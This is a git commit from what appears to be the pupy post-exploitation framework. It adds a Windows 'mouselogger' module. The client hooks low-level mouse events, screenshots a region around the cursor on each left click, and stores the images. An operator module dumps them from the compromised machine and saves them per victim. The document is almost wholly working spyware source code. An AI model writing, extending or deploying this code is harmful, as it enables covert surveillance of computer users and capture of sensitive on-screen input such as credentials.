made the server part of @golind mouselogger. For now the 200*100 pixels screenshots are kept in memory between dumps for each mouse click. TODO: add a callback function to send back taken screenshots in real time

This commit is contained in:
n1nj4sec 2015-10-13 22:33:09 +02:00
parent 27ef620847
commit 2128a42a37
2 changed files with 125 additions and 65 deletions

View File

@ -0,0 +1,76 @@
# -*- coding: UTF8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
from pupylib.PupyModule import *
import logging
import traceback
import time
import os
import os.path
from pupylib.utils.rpyc_utils import obtain
def pil_save(filename, pixels, width, height):
from PIL import Image, ImageFile
buffer_len = (width * 3 + 3) & -4
img = Image.frombuffer('RGB', (width, height), pixels, 'raw', 'BGR', buffer_len, 1)
ImageFile.MAXBLOCK = width * height
img=img.transpose(Image.FLIP_TOP_BOTTOM)
img.save(filename, quality=95, optimize=True, progressive=True)
__class_name__="MouseLoggerModule"
class MouseLoggerModule(PupyModule):
""" log mouse clicks and take screenshots of areas around it """
# WARNING : screenshots are kept in memory before beeing dumped
#TODO change that and add a callback to automatically send back screenshots without need for dumping
daemon=True
unique_instance=True
def __init__(self, *args, **kwargs):
PupyModule.__init__(self, *args, **kwargs)
self.mouselogger=None
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='mouselogger', description=self.__doc__)
self.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])
@windows_only
def is_compatible(self):
pass
def stop_daemon(self):
self.success("mouselogger stopped")
def run(self, args):
try:
os.makedirs(os.path.join("data","mouselogger"))
except Exception:
pass
if args.action=="start":
if self.mouselogger:
self.error("the mouselogger is already started")
else:
self.client.load_package("pupwinutils.mouselogger")
self.mouselogger=self.client.conn.modules["pupwinutils.mouselogger"].MouseLogger()
self.mouselogger.start()
else:
if not self.mouselogger:
self.error("the mouselogger is not running")
return
if args.action=="dump":
self.success("dumping recorded mouse clicks :")
screenshots_list=obtain(self.mouselogger.retrieve_screenshots())
self.success("%s screenshots taken"%len(screenshots_list))
print str(screenshots_list)[0:50]
for d, height, width, buf in screenshots_list:
filepath=os.path.join("data","mouselogger","scr_"+self.client.short_name()+"_"+str(d).replace(" ","_").replace(":","-")+".jpg")
pil_save(filepath, buf, width, height)
self.info("screenshot saved to %s"%filepath)
elif args.action=="stop":
self.mouselogger.stop()
self.job.stop()

View File

@ -6,6 +6,7 @@ from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
import threading
import time
import datetime
from ctypes import (
byref, memset, pointer, sizeof, windll,
@ -59,23 +60,6 @@ kernel32 = windll.kernel32
WH_MOUSE_LL=14
WM_MOUSEFIRST=0x0200
keyCodes={
0x200 : "", #"[MOUSEMOVE]", ## commented bcuz it spams the living crap out of the output.
0x201 : "", #"[LBUTTONDOWN]",
0x202 : "", #"[LBUTTONUP]",
0x203 : "", #"[LBUTTONDBLCLK]",
0x204 : "", #"[RBUTTONDOWN]",
0x205 : "", #"[RBUTTONUP]",
0x206 : "", #"[RBUTTONDBLCLK]",
0x207 : "", #"[MBUTTONDOWN]",
0x208 : "", #"[MBUTTONUP]",
0x209 : "", #"[MBUTTONDBLCLK]",
0x20A : "", #"[MOUSEWHEEL]",
0x20B : "", #"[XBUTTONDOWN]",
0x20C : "", #"[XBUTTONUP]",
0x20D : "", #"[XBUTTONDBLCLK]",
0x20E : "", #"[MOUSEHWHEEL]"
}
# Initilisations
SM_XVIRTUALSCREEN = 76
@ -125,10 +109,10 @@ class MouseLogger(threading.Thread):
threading.Thread.__init__(self, *args, **kwargs)
self.hooked = None
self.daemon=True
self.keys_buffer=""
self.lUser32=user32
self.pointer=None
self.stopped=False
self.screenshots=[]
def run(self):
if self.install_hook():
@ -138,21 +122,18 @@ class MouseLogger(threading.Thread):
msg = MSG()
user32.GetMessageA(byref(msg),0,0,0)
while not self.stopped:
time.sleep(.2)
time.sleep(1)
self.uninstall_hook()
def stop(self):
self.stopped=True
def dump(self):
res=self.keys_buffer
self.keys_buffer=""
return res
def retrieve_screenshots(self):
screenshot_list=self.screenshots
self.screenshots=[]
return screenshot_list
def convert_key_code(self, code):
##http://www.pinvoke.net/default.aspx/Constants.WM
if code in keyCodes:
if code == 0x201:
def get_screenshot(self):
pos = queryMousePosition()
limit_width = GetSystemMetrics(SM_CXVIRTUALSCREEN)
@ -189,8 +170,8 @@ class MouseLogger(threading.Thread):
if bits != height or len(pixels.raw) != buffer_len:
raise ValueError('MSSWindows: GetDIBits() failed.')
return pixels.raw
return keyCodes[code]
return pixels.raw, height, width
def install_hook(self):
CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
@ -207,13 +188,16 @@ class MouseLogger(threading.Thread):
self.hooked = None
def hook_proc(self, nCode, wParam, lParam):
hooked_key = self.convert_key_code(wParam)
self.keys_buffer+=str(hooked_key)
##http://www.pinvoke.net/default.aspx/Constants.WM
if wParam == 0x201:
buf, height, width = self.get_screenshot()
self.screenshots.append((datetime.datetime.now(), height, width, buf))
return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
if __name__=="__main__":
MouseLogger = MouseLogger()
MouseLogger.start()
ml = MouseLogger()
ml.start()
while True:
time.sleep(5)
print MouseLogger.dump()
for d, height, width, buf in ml.retrieve_screenshots():
print "screenshot of %s/%s taken at %s (%s bytes)"%(height, width, d, len(buf))